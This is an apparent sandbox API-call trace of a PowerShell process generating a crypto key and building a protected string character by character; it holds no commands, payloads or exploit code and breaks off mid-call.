[0254.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.332] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0254.333] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0254.333] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x247e7fc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x247e7fc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0254.334] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0254.334] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0254.336] EtwEventActivityIdControl () returned 0x0 [0254.336] EtwEventActivityIdControl () returned 0x0 [0254.336] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.337] EtwEventActivityIdControl () returned 0x0 [0254.337] EtwEventActivityIdControl () returned 0x0 [0254.337] EtwEventActivityIdControl () returned 0x0 [0254.339] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.339] EtwEventActivityIdControl () returned 0x0 [0254.339] EtwEventActivityIdControl () returned 0x0 [0254.339] EtwEventActivityIdControl () returned 0x0 [0254.341] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0254.342] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0254.343] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.343] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0254.343] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24861d4, pdwDataLen=0x5a2e8c4 | out: pbData=0x24861d4*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0254.343] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.343] EtwEventActivityIdControl () returned 0x0 [0254.344] EtwEventActivityIdControl () returned 0x0 [0254.344] EtwEventActivityIdControl () returned 0x0 [0254.344] SysStringLen (param_1="") returned 0x8 [0254.344] SysStringLen (param_1="D") returned 0x8 [0254.344] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.344] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0254.345] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0254.345] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.345] SysStringLen (param_1="Dr") returned 0x8 [0254.345] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.345] SysStringLen (param_1="壻簏鍫ᒡ楢龁厪જ") returned 0x8 [0254.345] SysStringLen (param_1="壻簏鍫ᒡ楢龁厪જ") returned 0x8 [0254.345] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.345] SysStringLen (param_1="Dr8") returned 0x8 [0254.345] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.345] SysStringLen (param_1="䄼꺙䟸ఢ阒㊴ॉ") returned 0x8 [0254.345] SysStringLen (param_1="䄼꺙䟸ఢ阒㊴ॉ") returned 0x8 [0254.345] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.346] SysStringLen (param_1="Dr8/") returned 0x8 [0254.346] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.346] SysStringLen (param_1="夜기ℴダ줌幸쁼潴") returned 0x8 [0254.346] SysStringLen (param_1="夜기ℴダ줌幸쁼潴") returned 0x8 [0254.346] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.346] SysStringLen (param_1="Dr8/5") returned 0x8 [0254.346] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.346] SysStringLen (param_1="옒観岲サ癩쇭쑰") returned 0x8 [0254.346] SysStringLen (param_1="옒観岲サ癩쇭쑰") returned 0x8 [0254.346] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.346] SysStringLen (param_1="Dr8/5O") returned 0x8 [0254.346] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.347] SysStringLen (param_1="澢겾ⱜ灟য쥜쑸") returned 0x8 [0254.347] SysStringLen (param_1="澢겾ⱜ灟য쥜쑸") returned 0x8 [0254.347] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.347] SysStringLen (param_1="Dr8/5OD") returned 0x8 [0254.347] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.347] SysStringLen (param_1="觔ᠫᝳ뻛嗮챵焬") returned 0x8 [0254.347] SysStringLen (param_1="觔ᠫᝳ뻛嗮챵焬") returned 0x8 [0254.347] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.347] SysStringLen (param_1="Dr8/5ODd") returned 0x8 [0254.347] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.347] SysStringLen (param_1="慄贰脋侉셠､") returned 0x8 [0254.348] SysStringLen (param_1="慄贰脋侉셠､") returned 0x8 [0254.348] SysStringLen (param_1="慄贰脋侉셠､") returned 0x8 [0254.348] SysStringLen (param_1="慄贰脋侉셠､") returned 0x10 [0254.348] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.351] SysStringLen (param_1="Dr8/5ODdg姑繁㯅쑦䓀눓㉟") returned 0x10 [0254.351] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.351] SysStringLen (param_1="慄贰脋侉셠､뚌湅郿奎喒ퟓ瘱欣") returned 0x10 [0254.351] SysStringLen (param_1="慄贰脋侉셠､뚌湅郿奎喒ퟓ瘱欣") returned 0x10 [0254.351] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.352] SysStringLen (param_1="Dr8/5ODdgr繁㯅쑦䓀눓㉟") returned 0x10 [0254.352] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.352] SysStringLen (param_1="慄贰脋侉셠､激㭹섯崓ᢙ媯ꃟ碔") returned 0x10 [0254.352] SysStringLen (param_1="慄贰脋侉셠､激㭹섯崓ᢙ媯ꃟ碔") returned 0x10 [0254.352] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.352] SysStringLen (param_1="Dr8/5ODdgrk㯅쑦䓀눓㉟") returned 0x10 [0254.352] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.352] SysStringLen (param_1="慄贰脋侉셠､ఠᥭ娧큦ꤽ쪵") returned 0x10 [0254.352] SysStringLen (param_1="慄贰脋侉셠､ఠᥭ娧큦ꤽ쪵") returned 0x10 [0254.352] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.352] SysStringLen (param_1="Dr8/5ODdgrk5쑦䓀눓㉟") returned 0x10 [0254.352] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.352] SysStringLen (param_1="慄贰脋侉셠､匮䠧郑\x0f䎿⿼㭻圪") returned 0x10 [0254.353] SysStringLen (param_1="慄贰脋侉셠､匮䠧郑\x0f䎿⿼㭻圪") returned 0x10 [0254.353] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.353] SysStringLen (param_1="Dr8/5ODdgrk57䓀눓㉟") returned 0x10 [0254.353] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.353] SysStringLen (param_1="慄贰脋侉셠､욆藔珓暍厄䅑쐏") returned 0x10 [0254.353] SysStringLen (param_1="慄贰脋侉셠､욆藔珓暍厄䅑쐏") returned 0x10 [0254.353] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.353] SysStringLen (param_1="Dr8/5ODdgrk57Z눓㉟") returned 0x10 [0254.353] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.353] SysStringLen (param_1="慄贰脋侉셠､杶礯氼痮䘲杤㚻ᵅ") returned 0x10 [0254.353] SysStringLen (param_1="慄贰脋侉셠､杶礯氼痮䘲杤㚻ᵅ") returned 0x10 [0254.353] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.353] SysStringLen (param_1="Dr8/5ODdgrk57ZG㉟") returned 0x10 [0254.353] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.354] SysStringLen (param_1="慄贰脋侉셠､Ŝ扼走宦玁쨁펓") returned 0x10 [0254.354] SysStringLen (param_1="慄贰脋侉셠､Ŝ扼走宦玁쨁펓") returned 0x10 [0254.354] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.354] SysStringLen (param_1="Dr8/5ODdgrk57ZGA") returned 0x10 [0254.354] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.354] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏") returned 0x10 [0254.354] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏") returned 0x10 [0254.354] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏") returned 0x10 [0254.355] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏") returned 0x18 [0254.355] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.355] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN녎됚쮡填Ꮞ᛫ꨴ") returned 0x18 [0254.355] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.355] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏靻䶥舀ꢑ汍돆춃") returned 0x18 [0254.355] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏靻䶥舀ꢑ汍돆춃") returned 0x18 [0254.355] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.356] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6됚쮡填Ꮞ᛫ꨴ") returned 0x18 [0254.356] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.356] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏焒紨차͎ғ㨕뫞") returned 0x18 [0254.356] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏焒紨차͎ғ㨕뫞") returned 0x18 [0254.356] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.356] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6a쮡填Ꮞ᛫ꨴ") returned 0x18 [0254.356] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.356] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏_㍷⑐뢞쪊䧨鶇姇") returned 0x18 [0254.356] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏_㍷⑐뢞쪊䧨鶇姇") returned 0x18 [0254.356] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.356] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6az填Ꮞ᛫ꨴ") returned 0x18 [0254.356] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.356] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏齚Ṅ뱭殿镰櫦඿") returned 0x18 [0254.356] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏齚Ṅ뱭殿镰櫦඿") returned 0x18 [0254.356] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.357] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgᏎ᛫ꨴ") returned 0x18 [0254.357] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.357] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏轌擨蚇븑렄䖼┘魺") returned 0x18 [0254.357] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏轌擨蚇븑렄䖼┘魺") returned 0x18 [0254.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.357] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgr᛫ꨴ") returned 0x18 [0254.357] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.357] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏ᐦ䊘긹株擖亢亶衂") returned 0x18 [0254.357] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏ᐦ䊘긹株擖亢亶衂") returned 0x18 [0254.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.357] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrRꨴ") returned 0x18 [0254.357] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.358] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏ᢒ憓颈倎嗀栣䆫┼") returned 0x18 [0254.358] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏ᢒ憓颈倎嗀栣䆫┼") returned 0x18 [0254.358] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.358] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR6") returned 0x18 [0254.358] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.358] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂") returned 0x18 [0254.358] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂") returned 0x18 [0254.358] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂") returned 0x18 [0254.359] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂") returned 0x20 [0254.359] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.359] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60鞁鋙ﲧ碑丹") returned 0x20 [0254.359] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.359] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂ﶆ┬쩚宦Փ툡颦") returned 0x20 [0254.359] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂ﶆ┬쩚宦Փ툡颦") returned 0x20 [0254.359] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.359] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60E鋙ﲧ碑丹") returned 0x20 [0254.359] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.359] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂엮汓ல툽㦺䝠챥") returned 0x20 [0254.359] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂엮汓ல툽㦺䝠챥") returned 0x20 [0254.360] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.360] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60Eoﲧ碑丹") returned 0x20 [0254.360] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.360] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂鞭櫤籕ឭҠ嚐걣諉") returned 0x20 [0254.360] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂鞭櫤籕ឭҠ嚐걣諉") returned 0x20 [0254.360] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.360] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60Eohﲧ碑丹") returned 0x20 [0254.360] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.360] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂蚭\嗜殁ꯋ逛䄠⋜) returned 0x20 [0254.360] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂蚭\嗜殁ꯋ逛䄠⋜) returned 0x20 [0254.360] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.360] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60Eohq碑丹") returned 0x20 [0254.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.361] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂层㽌뗍✯･ὐᮃ乤") returned 0x20 [0254.361] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂层㽌뗍✯･ὐᮃ乤") returned 0x20 [0254.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.361] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60Eohqw碑丹") returned 0x20 [0254.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.361] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂㧹땄ᴾ䌈埜焅뎣") returned 0x20 [0254.361] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂㧹땄ᴾ䌈埜焅뎣") returned 0x20 [0254.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.361] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM丹") returned 0x20 [0254.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.361] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂샧簱㡫䃳茨彪ॻ슦") returned 0x20 [0254.361] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂샧簱㡫䃳茨彪ॻ슦") returned 0x20 [0254.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.362] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+") returned 0x20 [0254.362] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.362] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ") returned 0x20 [0254.362] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ") returned 0x20 [0254.362] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ") returned 0x20 [0254.363] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ") returned 0x28 [0254.363] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.363] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5艡ꗮ羧ࡢ徽퇊") returned 0x28 [0254.363] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.363] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ㫯殺昭珙爨뫜夿") returned 0x28 [0254.376] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ㫯殺昭珙爨뫜夿") returned 0x28 [0254.377] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.377] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5mꗮ羧ࡢ徽퇊") returned 0x28 [0254.377] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.377] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ欮鿤Ⳓ乗〖뫻ཽ") returned 0x28 [0254.377] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ欮鿤Ⳓ乗〖뫻ཽ") returned 0x28 [0254.377] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.377] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4羧ࡢ徽퇊") returned 0x28 [0254.377] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.377] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ祧圷梀裹舀捬䈐튮") returned 0x28 [0254.377] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ祧圷梀裹舀捬䈐튮") returned 0x28 [0254.377] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.377] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zࡢ徽퇊") returned 0x28 [0254.378] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.378] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ㒇ね扥๥") returned 0x28 [0254.378] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ㒇ね扥๥") returned 0x28 [0254.378] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.378] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zA徽퇊") returned 0x28 [0254.378] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.378] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ著㳬ᗡ⫉洸\鏚≾) returned 0x28 [0254.378] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ著㳬ᗡ⫉洸\鏚≾) returned 0x28 [0254.378] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.378] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zAb퇊") returned 0x28 [0254.378] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.378] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ麗侃鑨賙ꭀ꨾斁") returned 0x28 [0254.378] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ麗侃鑨賙ꭀ꨾斁") returned 0x28 [0254.378] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.379] SysStringLen 